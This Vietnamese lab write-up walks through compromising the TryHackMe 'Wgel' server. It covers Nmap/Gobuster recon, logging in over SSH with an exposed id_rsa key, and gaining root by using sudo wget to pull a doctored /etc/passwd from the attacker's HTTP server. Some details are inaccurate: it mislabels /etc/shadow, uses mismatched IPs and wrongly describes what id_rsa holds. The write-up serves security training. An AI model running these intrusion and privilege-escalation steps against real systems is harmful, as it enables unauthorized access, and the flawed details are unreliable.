Xin chào,
Hôm nay chúng ta sẽ tiến hành thực hành tấn công, xâm nhập và chiếm quyền kiểm soát của server Wgel trên TryHackMe. Wgel là một web server Linux căn bản dành cho các bạn mới làm quen với Linux Pentest.
Vì đến giai đoạn này, mình tin là các bạn đã phải thuộc lòng quy trình pentest, nhất là các bước scans hệ thống cơ bản ở bước 1 của quy trình pentest rồi, nên mình sẽ đi nhanh phần này và chỉ phân tích ở những chỗ có thông tin quan trọng thôi nhé. Nhưng, mình vẫn hi vọng các bạn làm đầy đủ các bước đã học từ những bài trước để tạo thành thói quen khi pentest nhé.
Lưu ý: Bài viết này không dành cho các bạn chưa có kiến thức căn bản hoặc yếu kiến thức căn bản và cũng chưa từng thực tập trên nền tảng TryHackMe trước đây. Nếu bạn nằm trong trường hợp này, xin xem lại các series trước của mình trước khi thực hành bài này nhé.
1 – Performing reconnaissance (Thu thập thông tin từ bên ngoài)
1A – Kiểm tra kết nối
Sau khi bấm bút start machine, chúng ta sẽ chờ tầm 2 phút để hệ thống khởi động. Khi quá trình khởi động hoàn tất, IP của mục tiêu sẽ hiện ra cho chúng ta.

Kiểm tra kết nối đến hệ thống.

Ping mục tiêu thành công, chúng ta sẽ bắt đầu quét mục tiêu với Nmap.
1B -Nmap scans
Scan tất cả các TCP ports trong hệ thống:
sudo nmap -vv -Pn -T4 -p- -oN tcp-scan 10.10.207.120
Nmap tìm ra 2 port 22 và 80 đang mở. Chúng ta có thể dự đoán:
- Port 22 chạy SSH
- Port 80 chạy HTTP web service
Scan tất cả các UDP ports trong hệ thống:
sudo nmap -vv -Pn -T4 -sU -oN udp-scan 10.10.207.120
Scan services’ version, hệ điều hành của và chạy script tìm lỗi trên Wgel:
sudo nmap -vv -Pn -T4 -p 22,80 -sC -sV -O -oN script-scan 10.10.207.120

Qua các bước Nmap scans chúng ta có được kết quả như sau:
- Port 22 chạy OpenSSH 7.2p2
- Port 80 chạy Apache httpd 2.4.18
- Hệ điều hành của mục tiêu Ubuntu
1C – Web service
Trong lúc chờ Nmap chạy, chúng ta sẽ thử kiểm tra web service của Wgel thông qua Firefox.
Sau khi truy cập, chúng ta thấy giao diện chính là trang mặc định Apache2.

Kiểm tra front end source code bằng tổ hợp phím Ctrl + U và mình phát hiện ra dòng HTML comment sau:

Mình đoán có thể Jessie là tên của admin, và có thể sử dụng để đăng nhập hệ thống. Chúng ta sẽ lưu lại thông tin này trong phần note của chúng ta nhé.
Tiếp đến chúng ta sẽ dùng đến Gobuster, bạn nào chưa có wordlist để chạy thì có thể download lại tại đây.
gobuster dir -u 10.10.207.120 -w common-web-content.txt
Chúng ta có kết quả như sau:

Ở đây, có một kết quả mà mình chú ý, đó là /sitemap, mình sẽ thử truy cập directory này trên Firefox xem sao nhé.
Sau khi truy cập, chúng ta có được giao diện web như sau:

Mình có thể kết luận, đây là website chính của server Wgel.
Tiếp theo chúng ta sẽ quét Gobuster website chính này để xem có tìm được gì thú vị ví dụ như directories chứa thông tin có thể dẫn đến xâm nhập hệ thống hoặc trang login không nhé.
gobuster dir -u 10.10.207.120/sitemap/ -w common-web-content.txt
Chúng ta có kết quả như sau:

Trong đó mình đặc biệt chú ý đến directory .ssh. Mình sẽ giải thích kỹ hơn ở phần sau.
Khi truy cập vào directory .ssh trên Firefox, chúng ta có kết quả như sau:

Khi click vào file id_rsa, chúng ta được kết quả sau:

2 – Identifying vulnerabilities (Xác định lỗi bảo mật để xâm nhập)
Vậy directory .ssh là gì và file id_rsa là gì? Và chúng ta dùng chúng để xâm nhập nhập vào hệ thống như thế nào?
.ssh directory được là directory được system admin tạo ra dùng để lưu trữ các thông tin quan trọng sẽ được sử dụng trong quá trình xác thực người dùng đăng nhập vào hệ thống thông qua giao thức SSH.
Thông tin quan trọng nhất được lưu trữ bên trong directory .ssh chính là những file id_rsa. File id_rsa chứa password đã được mã hóa của một account SSH; trong nhiều trường hợp, bạn có thể sử dụng file id_rsa để đăng nhập vào hệ thống thông qua giao thức SSH mà không cần phải biết mật khẩu gốc.
Trong trường hợp hệ thống không chấp nhận file id_rsa của bạn và yêu cầu nhập mật khẩu gốc, bạn chỉ cần crack file id_rsa là xong.
Hay nói cách khác, nếu bạn có được username và file id_rsa của một SSH client, nhiều khả năng bạn hoàn toàn có thể dùng thông tin này để đăng nhập vào hệ thống thông qua giao thức SSH.
Ở hiện tại, chúng ta dự đoán tên đăng nhập là jessie và có file id_rsa, chúng ta sẽ thử nghiệm xâm nhập xem sao nhé.
3 – Exploiting vulnerabilities (Tiến hành xâm nhập)
Chúng ta sẽ thử dùng file id_rsa để SSH vào hệ thống của Wgel xem sao nhé.
B1: Mình sẽ copy toàn bộ file id_rsa vào một file

B2: Lưu file với tên gọi id_rsa

B3: Kiểm tra phân quyền và set lại phân quyền của file id_rsa là 700
Chúng ta sử dụng các command sau:
ls -l

Chúng ta có thể thấy hiện file id_rsa cho phép tất cả người dùng truy cập và đọc nội dung bên trong nó. Điều này trái với đặc tính an toàn của file id_rsa và chắc chắn giao thức SSH sẽ không chấp nhận một file id_rsa như vậy vì thiếu an toàn. Chúng ta có thể thử nghiệm điều này bằng cách đăng nhập thử SSH như sau:
Truy cập vào SSH với câu lệnh sau:
ssh jessie@10.10.207.120 -i id_rsa
Và chúng ta nhận được báo lỗi

Như các bạn thấy, SSH yêu cầu
“It is required that your private key files are NOT accessible by others.
This private key will be ignored.”
Nghĩa là file id_rsa (private key) chỉ cho phép owner mới truy cập được thôi, nếu không file sẽ bị từ chối.
Để giải quyết vấn đề này, chúng ta sẽ thay đổi phân quyền của file id_rsa thành như sau:
chmod 700 id_rsa

Sau đó, chúng ta sẽ thử đăng nhập lại một lần nữa.

Và chúng ta đã xâm nhập thành công.
Chúng ta có thể tìm thấy userflag tại directory Documents của account jessie.

4 – Privileges escalation (Leo thang đặc quyền)
Chúng ta sẽ thử kiểm tra sudo -l để xem chúng ta có quyền gì đặc biệt không nhé.

Theo đó, chúng ta có quyền chạy wget với phân quyền root mà không cần phải cung cấp password. Nếu bạn nào chưa biết thì wget là công cụ cho phép system admin có thể download file vềmáy tính của họ thông qua giao diện dòng lệnh. Cách sử dụng khá đơn giản:
wget <url-file-cần-download>
Sau khi search Google cách leo thang đặc quyền với Wget thì mình tìm được giải pháp như sau:
- Chúng ta sẽ tìm cách tải file /etc/passwd trên Wgel về máy Kali Linux. Bạn nào quên công dụng của file này thì xem lại bài sau nhé.
- Chúng ta sẽ tạo một mật khẩu và thêm vào account root trong file /etc/passwd.
- Chúng ta upload file /etc/passwd đã được ta chỉnh sửa lên Wgel thông qua công cụ Wget vào directory /etc. Lúc này vì Wget được phép chạy với phân quyền của root, nó sẽ thay thế file passwd trong directory /etc thành file mới có kèm theo giá trị password của root mà ta đã thêm vào.
- Lúc này, ta chỉ cần đăng nhập vào root với mật khẩu đã thiết lập ở bước 2 là xong.
B1: Sử dụng Wget để download file /etc/shadow về máy Kali Linux
Trên Wgel, chúng ta ta gõ câu lệnh sau để copy toàn bộ nội dung file /etc/passwd vào dirctory /tmp. Sau đó, chúng ta sẽ chuyển đến directory /tmp
cp /etc/passwd /tmp
cd /tmp
Tiếp theo, mình sẽ kiểm tra xem trên Wgel chúng ta có thể sử dụng được python hay không bằng câu lệnh sau:
which python

Và ta thấy được hệ thống Wgel có chạy Python, và đồng thời file /passwd đã được copy đến directory /tmp thành công.
Chúng ta sẽ dùng câu lệnh Python sau để tạo một HTTP server ngay bên trong directory /tmp để dùng cho mục đích chuyển file.
python -m SimpleHTTPServer 8000

Trên máy Kali Linux, chúng ta cho chạy câu lệnh sau:
wget http://10.10.9.50:8000/passwd
Câu lệnh trên sẽ kết nối đến server Wgel tại port 8000 mà ta đã mở để download file passwd từ Wgel về máy Kali Linux của chúng ta.

Chúng ta dùng lệnh cat để kiểm tra file passwd đã download và ta được kết quả như sau:

Vậy là chúng ta đã download file passwd của server Wgel thành công.
B2: Tạo password mã hóa cho root
Chúng ta sẽ dùng công cụ openssl trên Kali Linux để tạo một password mã hóa có cùng thuật toán mã hóa với file /etc/passwd như bên dưới, mình chọn password là pass123 nhé:
openssl passwd pass123
Chúng ta sẽ có kết quả như sau:

B3: Thêm password đã mã hóa vào file passwd đã download
Mở file passwd bằng text editor trên Kali Linux

Sau đó, chúng ta thế giá trị password mã hóa vào vị trí dấu “x” của root.
Từ: root:x:0:0:root:/root:/bin/bash
Thành: root:LnGsTTliG/HEU:0:0:root:/root:/bin/bash

Và sau đó lưu file.
B4: Tải file passwd mà ta đã chỉnh sửa lên server Wgel
Trên máy Kali Linux, chúng ta sẽ chạy câu lệnh bên dưới để tạo HTTP server cho mục đích chuyển file:
python -m SimpleHTTPServer 8000

Trên máy Wgel, chúng ta sử dụng câu lệnh sau:
sudo /usr/bin/wget http://10.2.46.46:8000/passwd -O /etc/passwd

Để tải file passwd lên Wgel và overwrite file passwd.
Sau đó, chúng ta thử đăng nhập vào root bằng câu lệnh su và nhập password pass123 mà chúng ta đã tạo ở bước 2

Vậy là chúng ta đã đăng nhập root thành công.

Chúng ta chuyển đến directory /root và sẽ thấy file root_flag.txt file ở đây.
Vì kỹ thuật leo thang đặc quyền lần này hơi khó, nên các bạn cố gắng luyện tập lại nhiều lần cho thuần thục nhé.
Chúc các bạn học tốt,
Vincent Nguyễn